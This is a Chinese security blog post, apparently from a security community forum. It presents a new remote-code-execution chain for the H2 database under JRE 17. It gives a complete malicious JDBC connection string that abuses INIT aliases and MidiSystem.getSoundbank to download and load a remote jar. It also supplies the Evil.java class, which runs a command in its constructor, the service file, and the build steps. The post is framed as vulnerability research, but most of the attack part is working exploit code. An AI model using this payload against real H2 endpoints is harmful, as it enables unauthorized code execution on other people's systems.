H2 RCE在JRE 17环境下的利用-续集
漏洞分析
@X1r0z 师傅的《H2 RCE在JRE 17环境下的利用》文章的后续挖掘发现
> 复现使用版本: > JDK 17.0.11 > h2database 2.0.204 > codeql 使用 h2database 2.3.239编成数据库 > jdk17的codeql数据库没编译成功,所以使用的jdk8数据库 QAQ 前段时间看到一篇文章,@X1r0z 师傅的《H2 RCE 在 JDK 17 环境下的利用》,由于其中还需要使用到spring,突发奇想去挖一个不需要其他依赖,只需要jdk和h2的payload 文章如下: ```php https://exp10it.io/2025/03/h2-rce-in-jre-17/ ``` **注:这就是没好好看文章的后果,其实文章是《H2 RCE 在 JRE 17 环境下的利用》,我看成是JDK17,JDK17原先的某些payload还是能用的,裂开** 至此这篇文章就诞生了 由于在 Java 17 版本中删除了 Nashorn JavaScript 引擎 (更准确来说是在 Java 15 及以后被删除的),且JRE没有javac命令,所以这种情况下常用的h2 payload都无法使用,详情@X1r0z 师傅的文章中都有提到,我就不过多赘述了,说说我的发现 一些失败的尝试 ======= 参数是需要能够序列化的对象 比如说如下构造URLClassLoader无法进行序列化,所以无法使用 ```java java.beans.Beans.instantiate(URLClassLoader.newInstance(new URL[]{(URL)org.h2.util.Utils.newInstance("java.net.URL","http://127.0.0.1")}), "ClassName"); ``` 这里我找到了MLet,URLClassLoader的子类,实现了Externalizable能够进行序列化,可惜在jdk8中未发现静态的构造方法 然后就是jdk16之后的module强封装 这两个都是未开放的类 ```php //反射构造对象 sun.tools.jconsole.inspector.Utils.newStringConstructor(String type, String param) //写文件 jdk.jfr.internal.Utils#writeGeneratedASM(String className, byte[] bytes) ``` 判断开放包的位置: public static方法在h2中调用的方式,是通过反射 Method.invoke(Object obj, Object... args) 在该位置判断了能否反射调用  这里一直往下会走到 Module.isExported(String pn, Module other) 关键判断点,我没找到有啥静态方法能过掉的,菜,有师傅有兴趣的可以看看  Payload ======= 不废话直接上 这里String转Object使用了@X1r0z 师傅文章中提到的`javax.naming.ldap.Rdn.unescapeValue(java.lang.String)` ```java jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS Utils_INSTANCE FOR 'org.h2.util.Utils.newInstance(java.lang.String,java.lang.Object[])'\; SET @classname_str='java.net.URL'\; CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)'\; SET @url_str='http://127.0.0.1:8000/1.jar'\; SET @url_obj=UNESCAPE_VALUE(@url_str)\; SET @url_object=Utils_INSTANCE(@classname_str,@url_obj)\; CREATE ALIAS System_INSTANCE FOR 'java.lang.System.setProperty(java.lang.String,java.lang.String)'\; CALL System_INSTANCE('jdk.sound.jarsoundbank','true')\; CREATE ALIAS MidiSystem_INSTANCE FOR 'javax.sound.midi.MidiSystem.getSoundbank(java.net.URL)'\; CALL MidiSystem_INSTANCE(@url_object)\; ``` jar文件构造 ```php src/ ├── Evil.java └── META-INF └── services └── javax.sound.midi.Soundbank ``` Evil.java文件内容 ```java import javax.sound.midi.Instrument; import javax.sound.midi.Patch; import javax.sound.midi.SoundbankResource; import java.io.IOException; public class Evil implements javax.sound.midi.Soundbank{ public Evil() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public String getName() { return ""; } @Override public String getVersion() { return ""; } @Override public String getVendor() { return ""; } @Override public String getDescription() { return ""; } @Override public SoundbankResource[] getResources() { return new SoundbankResource[0]; } @Override public Instrument[] getInstruments() { return new Instrument[0]; } @Override public Instrument getInstrument(Patch patch) { return null; } } ``` javax.sound.midi.Soundbank 文件内容 ```php Evil ``` 执行如下命令生成jar ```php java17 javac src\Evil.java jar -cvf payload.jar -C src/ . ```  分析 == `javax.sound.midi.MidiSystem.getSoundbank(java.net.URL)` 这里会取到4个`SoundbankReader`的实现类,关键是`JARSoundbankReader#getSoundbank(URL)`  `JARSoundbankReader#getSoundbank(URL)` 这个方法是实现了和`serviceLoader.load(Class)`差不多的操作  然后`Boolean.getBoolean(JAR_SOUNDBANK_ENABLED)`这个位置需要注意一下 这里需要调用`System.setProperty`给设置个true值,如果这个判断为false就直接return了    URL类的构造是使用H2database中的`org.h2.util.Utils.newInstance(java.lang.String,java.lang.Object[])`,利用反射构造对象 
发表于 2025-06-23 09:35:23
阅读 ( 368 )
分类:
代码审计
0 推荐
收藏
0 条评论
c3p0ooo!
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!